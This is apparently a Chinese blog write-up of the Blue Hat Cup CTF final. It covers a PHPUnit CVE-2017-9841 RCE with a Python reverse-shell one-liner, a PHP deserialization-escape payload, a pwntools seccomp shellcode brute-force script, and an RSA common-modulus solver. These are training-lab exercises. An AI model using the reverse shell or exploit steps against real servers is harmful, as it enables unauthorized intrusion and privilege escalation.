蓝帽杯决赛 WRITEUP

  • A+
所属分类:安全博客

前言

上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录,先挖个坑等一手之后官方的 WP 。

蓝帽杯决赛 WRITEUP

0x01 签到题

操作内容

题目给了一些数字:

1
[102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109, 101, 95, 98, 108, 117, 101, 99, 97, 116, 125]

尝试 AscII 8进制解码:

蓝帽杯决赛 WRITEUP

flag 值

flag{we1c0me_bluecat}

0x02 php

操作内容

查看源代码:

蓝帽杯决赛 WRITEUP

想到 phpunit 远程命令执行漏洞(CVE-2017-9841)

1
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

先试了 post <?php print_r(scandir('/'));

蓝帽杯决赛 WRITEUP

<?php show_source('/flag'); 读取失败 似乎是没权限

通过尝试发现 pcntl_exec()函数可以使用,进行反弹shell

1
<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

蓝帽杯决赛 WRITEUP

cat /flag 权限不够,ls - la 发现用户为 www-data, 而 /flag文件为 admin 权限

尝试切换 admin 权限报错:

1
su: must be run from a terminal

切换交互型 shell:

1
python -c 'import pty; pty.spawn("/bin/bash")'

var/www/html 下翻到了 admin 的密码:

蓝帽杯决赛 WRITEUP

cat 一下:

蓝帽杯决赛 WRITEUP

执行 su admin 拿到 flag

蓝帽杯决赛 WRITEUP

flag 值

flag{c31a77bd-5d01-4074-ab57-7828d7e85943}

0x03 login

操作内容

使用 Dirsearch 进行目录扫描:

蓝帽杯决赛 WRITEUP

泄露 www.zip 内容为config.php 和 index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# config.php
<?php
error_reporting(0);
class File {
public $user;
public $pass;
public $repass;
public $dir;
function __construct($data1, $data2, $data3, $data4)
{
$this->user = $data1;
$this->pass = $data2;
$this->repass = $data3;
$this->dir = $data4;
}
function Login()
{
if (($this->user == 'ohhhh' &amp;& $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
return true;
} else {
return false;
}
}
function __destruct()
{
if ($this->Login()) {
readfile($this->dir);
} else {
die('wrong user or pass');
}
}
}
function filter($data){
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
return $data;
} else {
$filter_arr = array('admin','test','root');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'hacker',$data);
}
}
if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
$user = $_GET['user'];
$pass = $_GET['pass'];
$repass = $_GET['repass'];
$dir = $_GET['dir'];
$get = filter(serialize($_GET));
} else {
die('hello world');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# index.php
<!DOCTYPE html>
<html>
<head>
<title>file-reading</title>
</head>
<body>

<form action="index.php" method="GET">
username<input type="text" name="user">
password<input type="text" name="pass">
repassword<input type="text" name="repass">
filename<input type="text" name="dir">
<input type="submit" value="submit">
</form>

</body>
</html>
only admin can view /flag
<?php
include 'config.php';
$data = unserialize($get);
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
} else {
if (preg_match('/flag|..|/|index|config/i', $dir)) {
die('NO Hacker !!!!!!!!');
}
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
}
?>

分析源代码 发现可以利用 echo($this->dir); 读取 flag

if (preg_match('/flag|..|/|index|config/i', $dir)) 过滤了 // .. / index /flag config

本地测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<!DOCTYPE html>
<html>
<head>
<title>file-reading</title>
</head>
<body>

<form method="GET">
username<input type="text" name="user">
password<input type="text" name="pass">
repassword<input type="text" name="repass">
filename<input type="text" name="dir">
<input type="submit" value="submit">
</form>

</body>
</html>
only admin can view /flag
<?php
error_reporting(0);
class File {

public $user;
public $pass;
public $repass;
public $dir;

function __construct($data1, $data2, $data3, $data4)
{
$this->user = $data1;
$this->pass = $data2;
$this->repass = $data3;
$this->dir = $data4;
}

function Login()
{
if (($this->user == 'ohhhh' && $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
//先登录
return true;
} else {
return false;
}
}

function __destruct()
{
if ($this->Login()) {
echo($this->dir);
// 利用这个读取
} else {
die('wrong user or pass');
}
}
}

function filter($data){
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
return $data;
} else {
$filter_arr = array('admin','test','root');
$filter = '/'.implode('|',$filter_arr).'/i';
// $filter = /admin|test|root/i
return preg_replace($filter,'hacker',$data);
}

}
if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
$user = $_GET['user'];
$pass = $_GET['pass'];
$repass = $_GET['repass'];
$dir = $_GET['dir'];
// 这里可以获取一个假的dir
print("2");
echo "<br>";
$get = filter(serialize($_GET));

echo serialize($_GET);
echo "<br>";
echo $get;
echo "<br>";
var_dump(unserialize($get));
echo "<br>";
$data = unserialize($get);
var_dump($data);
echo "<br>";
} else {
die('hello world');
}
// 这一步需要每个参数都有值
// 猜测可能有反序列化对象逃逸


$data = unserialize($get);
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
} else {

echo $dir;
echo "<br>";
if (preg_match('/flag|..|/|index|config/i', $dir)) {
die('NO Hacker !!!!!!!!');
}
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
}

因为是序列化之后才过滤的 然后反序列化 这里可以反序列化对象逃逸

后面检测输入dir是在过滤之前给的 所以可以造一个假的$dir=1

构造 payload:

1
?user=ohhhh&pass=a3333&repass=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"dir";s:5:"/flag";}&dir=2

flag值

flag{a5b689bf-3549-4b13-afde-3be026075faf}

0x04 slient

操作内容

打开题目

沙盒逃逸 存在seccomp 限制

查看

蓝帽杯决赛 WRITEUP

程序可输入的shellcode执行

有read open 可用

思路 :

打开文件 猜测目标文件在./flag下

由于mmap申请地址在0x10000处

填充后通过 pop rsi; shr esi,12; 复位

按位比较爆破出读出 flag 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

file = context.binary = './chall'


def pwn(p, index, ch):
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"

# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode)
# print(len(shellcode))
p.sendafter("Welcome to silent execution-box.n", shellcode.ljust(0x40-14, b'a') + b'./flag')

index = 0
a = []
while True:
for ch in range(0x20, 127):
# p = remote('8.131.246.36', '40334')
p=process(file)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1

print("".join([chr(i) for i in a]))

得到结果

蓝帽杯决赛 WRITEUP

flag 值

flag{k33p_qu14t!}

0x05 common_modulus

解题过程

下载题目附件

task.py 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
from Crypto.Util.number import *
from secret import FLAG,HINT
assert len(HINT) < len(FLAG)
assert len(FLAG) == 38

p1 = getPrime(2048)
q1 = getPrime(2048)
n1 = p1*q1
e1 = 321959
e2 = 250261
c1 = pow(bytes_to_long(HINT),e1,n1)
c2 = pow(bytes_to_long(HINT),e2,n1)

print('n1={}'.format(n1))
print('c1={}'.format(c1))
print('c2={}'.format(c2))


p2 = getPrime(2048)
q2 = getPrime(2048)
n2 = p2*q2
e3 = #e3 in hint
e4 = #e4 in hint

flag = bytes_to_long(FLAG)*bytes_to_long(HINT)
c3 = pow(flag,e3,n2)
c4 = pow(flag,e4,n2)

print('n2={}'.format(n2))
print('c3={}'.format(c3))
print('c4={}'.format(c4))

题目名字提示了是 RSA 共模攻击

解题脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from libnum import n2s,s2n
from gmpy2 import invert
import gmpy2
from Crypto.Util.number import *

def egcd(a,n):
x=0
old_x=1
y=1
old_y=0
r=n
old_r=a
while(not r==0):
q=old_r//r
t=r
r=old_r-q*t
old_r=t
u=x
x=old_x-q*u
old_x=u
v=y
y=old_y-q*v
old_y=v
return [old_r,old_x,old_y]

def common_m(n,c1,c2,e1,e2):
print(len(bin(n)))
s = egcd(e1, e2)
print(s)
s1 = s[1]
s2 = s[2]
if s1 <0:
s1 = -s1
c1 = invert(c1,n)
if s2 <0:
s2 = -s2
c2 = invert(c2, n)
m = pow(c1,s1,n)*pow(c2,s2,n) % n
return m,s[0]

def low_e_attack(e,m,n):
l=0
t=n
ret = -1
while(l<=t):
mid = (l+t)//2
tem = mid**e
if(tem == m):
print(mid)
ret = mid
break
elif tem<m:
l=mid+1
elif tem>m:
t=mid-1
return ret

def main():
n = 781036391323974008856551441504551844841173384369055361767143425092387727015642055181741701170017399241497120632344953499820518820132068694764700867696829033106666055030180813062993649803797649124562825632340854157269454042167398954816966758408050707394510052574354703514670567409229754892812751190528559839163370996270173354192391025119212070374345175232268160015709412770236244184407603397493657886160301984598114022346065772036916080039069065703045460825584095559014098364274915486192890077441915702648662247422573607141301387160468708901332801070000950051880674436952646199048944681743156311156561347137284309444428161898926050856612636204505753959646608899803680618195914959490447723147711810217755931778569656715879355497741337867486596084617334222360877256151925248867366886699774397369843538784086757551124956184373578870266105742924242667575610284091444010308038579594247922368368398449676635147254244680714381600463229849534333608407292776731721661271718860696451810720187133868564530559847589151122364073467586981976649022363672800597675920485113168688814933825793827901051904388778126030212255351752567066602576348655685594872269975311829268026394327948942096118152848379484736487085060738082253125862183108996724624059293
c1 = 369574840235539108372094092254419274246554984982221252273253594183836400022960378170488757871945636102709146100003103420983393418895920944769809509498534206740321414394214836818668536994868508542980403916810808297197199669370712797146359430162012897117686984913530312098913792383741034334686281360853026726954824577914039860820382688425141138202072956110821496285690037742234810972548140439615644523558778763893381916419169521655893103187028705326557465586164413430726626576639348603638806511311706975958593200898505048876740706947195874397909272772688774998312506679360257618176951770041342256209410863260884750487279961933541672586237719402972217492287549068766414410155714303648473676009661943965293501994978200745219593293552499364219563185093112256120550663818918964081980469288619926291250638450874316053326601032273087039376723415701554676257043515877013761681843885375325430297941942692679848107999743068109805325264735576658206199089491608087442001508062053843516431089207243339447049547611183815785864081653492970812961076181422434762137310522146572918571492263273382927468586853431581811297567337244729976259333642991615934568219783998183005087012034016783535060297367475598352120058322912068079704771685886066199702963018
c2 = 401003748149510002818767369230254602513865159661339906800347290711690807270702301230624025422831311596632795141531720435002853738573163182312453127686259756779068482529257900103967550779067445990067902733048774414790636519587265122992946230937925359967091172504901407334687520803755214564929157748817222608867504984640435317237940989728715980606596332309938083583162432506373976839198105889860716728175207628676903581344807944755695848151190623498753010294323617338270060040423742010145259129678264662465355879341730120526032229944482388360258216424682694404263498956947130580056839592840962191604893632645585505577517647817952448510353267629549246776809657021963707309740084072731429860522801140021375078140454523473108229522456529438036963702296406101462856177037427008765522302625128434931680973911239443952409966616788095217782552153170772137807287594897681855045237814736536800205438589010668545647972935172419082314572196606656703628418159952436419223060565888253991481370307426542468001783829259332035534414470988788183383528642038979811899061182916422795902465788443785184461640800074642736248613386467596765647696764766509793194318458994279346191732415463226129676210488158303216826287374744132977258018064709541279591219801
e1 = 321959
e2 = 250261
m1,g = common_m(n,c1,c2,e1,e2)
m1 = low_e_attack(g,m1,n)
print(n2s(m1))
n2 = 829153922415855137264800234822397159517330834702889033537933377293887344320377111020468975059392957737449202237724182178497515850669969287557171761512943313347002707881627665997773538338624697031113180118787578098839812766590356161880633390491240275263405375614880514319024910802488825931065452764114707860207310201420715597319258880485040522551832971592910421789656655281398336391483665797851843030704262677198876702546809063670714197016598069553974073602743894202215033991282795559558580509644985355582265309273819085165244990507821708921430055578522701525123887916901778357465509369586730929688392667732886906857430517653096398002777964560127268121571049233223372798710275104635615146227690965482270801899538594859206469480776522613028131598888508457709453379574742196454867003503347438618445660900423827776062276496733498823286497376761412579384984369308185260156963156405659950843672893896087650002269874800953868406307954077672988900057904666430054296760155287271561170025767624003816826720442668295925485637633877652749338842612472516105683964067019360513619412986301224461318521372012905629559424109846511589009550745828509068711532135188012958609344134355466641890243263881890822508445307982892951553198862583429368670057993
c3 = 159724515943626607063077852180725785535830882720862727668525327462548399711146109134244815376287134761817075519820142556357574606798840233562248755971526219627762223734393473798914901143269449212790392600105330383090174083139586064181174009077350924651070244802047181675971743583126005374180803661344948105563731243622231745397860438110568700027808240466520775159603948893458839584686022713865445974999010633338992077036339635470928309825709158252021736998333181626196852117911063143924690274341118934263954401171980866857766803251097624531349328131906037324939822709718110584612723905396082816423636920021116198893529151233844741049768382997165306708386377461537659894631638669541135139772256724755879894163220385702448163577861050255922091076291360733371557008202704744025308442559929057280944151904346146363641694256384699833066941693911888313063101709464779564216471784300409758667075242519216711038178970244130709075948085377075896223268673956328949049096893114349123857314470200317354442002350914580896785644057370606138149403529271049952702755513806243257608741081761103014849775297798769123025294190124352059867893341310583345698551198662911063194743695473937982189580136904500546179872911907699655901666991491654421172959264
c4 = 577539997913679548128771306860581210544436789252901226997329423745523775309125445697836728285902404228772238261978792894724035857571722732772392975266650638941506233731097966088599219553016910895407298319171601788682316820727521975802034842881641332176636880671926669677709251368489592049188264858974171362799051918792714121517422464840766220636795897542591062529334135365684855298036787805819982776703613397951208027499626161971540340384357517350954755917853981444696889490414620688922414306470663625107920255478295871212500731262906706677230231273773081082937699900897018507666959617262265778895830665231960626623936539619558323350031200046331865204833002387826480300556398975518044660453862186191885052104669182124205562629260585502282489936369132703221625792917684714281278526690498041768698231671538540231217204457920089132127615505206718241082416584911313565380784068494321438301994932115301961956898936006101799945175006847294491423172988371831199816110394796146842726192613950900507852084712888550397657990358471172662866403096061418272111461743199683739447289005311734544421847876133462236161463005728810728422873087670552019575195179400831748068699257581271088746550021722434317091260496556373742562805426688588980981788900

e3=386321
e4=216437
m2,g = common_m(n2,c3,c4,e3,e4)
m2 = gmpy2.mpz(m2)
m1 = gmpy2.mpz(m1)
m2 = (m2* invert(pow(m1,g,n2),n2))%n2
m2 = low_e_attack(g,m2,n2)
print(m2)
print(n2s(m2))


if __name__ == '__main__':
main()

拿到 flag

蓝帽杯决赛 WRITEUP

flag 值

flag{1f0436d9442616370459454e30125201}

FROM : lintstar.top , Author: 离沫凌天๓

相关推荐: Apache Solr 任意文件删除

漏洞简介 Apache Solr 存在任意文件删除漏洞,在目前的最新版本(8.8.2)中仍然未被修复,漏洞的根本成因是函数 Files.deleteIfExists() 对要删除的文件名并未做校验。同时 Apache Solr Config Api 对外开放,…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: